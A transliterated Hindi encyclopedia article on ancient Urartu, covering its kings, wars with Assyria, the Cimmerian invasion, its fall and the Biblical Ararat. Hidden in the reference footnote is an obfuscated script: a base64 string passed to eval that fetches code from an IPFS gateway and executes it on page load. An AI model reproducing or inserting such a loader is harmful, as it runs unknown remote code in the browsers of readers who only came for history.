उरार्तू
urartoo vartaman arminiya ka prachin asoori nam. is desh ka yah nam aj bhi usake parvat ararat ke nam se dhvanit hai. yah mahatv ki bat hai ki svayan urartoo ke nivasi apane kilaksharoanvale abhilekhoan mean apane ko 'khaldini' kahate haian. vidvanoan ka mat hai ki adhikatar vahaan ke rahanevale pashchim se akar araksij nadi ki ghati mean bas ge the jo n to jati ke sami hi the, n ary hi. urartoo ke rajaoan se badhati huee asoori shakti ka bar-bar sangharsh hua aur bar-bar urartoo ko parabhoot hona p da. urartoo ke rajy ka aitihasik aranbh 1000ee.poo. ke asapas mana ja sakata hai.
urartoo ke rajaoan mean sabase shaktimanh ispuinis ka beta menuas hua. usake jivan ka sabase pradhan kary 'shamiramsoo' namak nahar ka nirman tha jisase us desh mean mithe pey jal ka pradurbhav ho saka. usake putr argistis pratham ne apane 14varshoan ke shasan aur yuddhoan ka vrittaant van ki shila par khudavaya. urartoo ka doosara shaktimanh raja 8vian sadi ee.poo. mean roosas pratham hua jo asooriya ke raja saragon dvitiy ka prabal shatru tha.
714ee.poo. mean kohakaf ke darroan se nikalakar kimeriyoan ne urartoo par prabal akraman kiya aur roosas ko majaboor hokar atmahatya karani p di. roosas ke pote roosas dvitiy ne kimeriyoan ko apani seva mean bharti kar asooriya se yuddh kiya, phir unhean laghu eshiya ke pashchimi bhagoan ki or bhag diya. chhathi sadi ee.poo. mean modi aryoan ne urartoo ko rauand dala.
khaldi sanbhavat: pashchimi laghu eshiya ki or se ae the aur svayan prachin eejiyaee sabhyata se prabhavit the. ary grikoan ko unhoanne pahale svayan prabhavit kiya aur jab unake desh urartoo par us aramini jati ne vijay paee, jisane use usaka pichhala nam arminiya diya, tab khaldi apana vah desh chho d paha doan mean ja base. urartoo ka ullekh baibil mean bhi hua. usi ke ararat parvat shikhar se, baibil ke anusar, jalapralay ke avasar par hajarat nooh ki jivoan ke jo doan se bhari nauka ja lagi thi.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 138 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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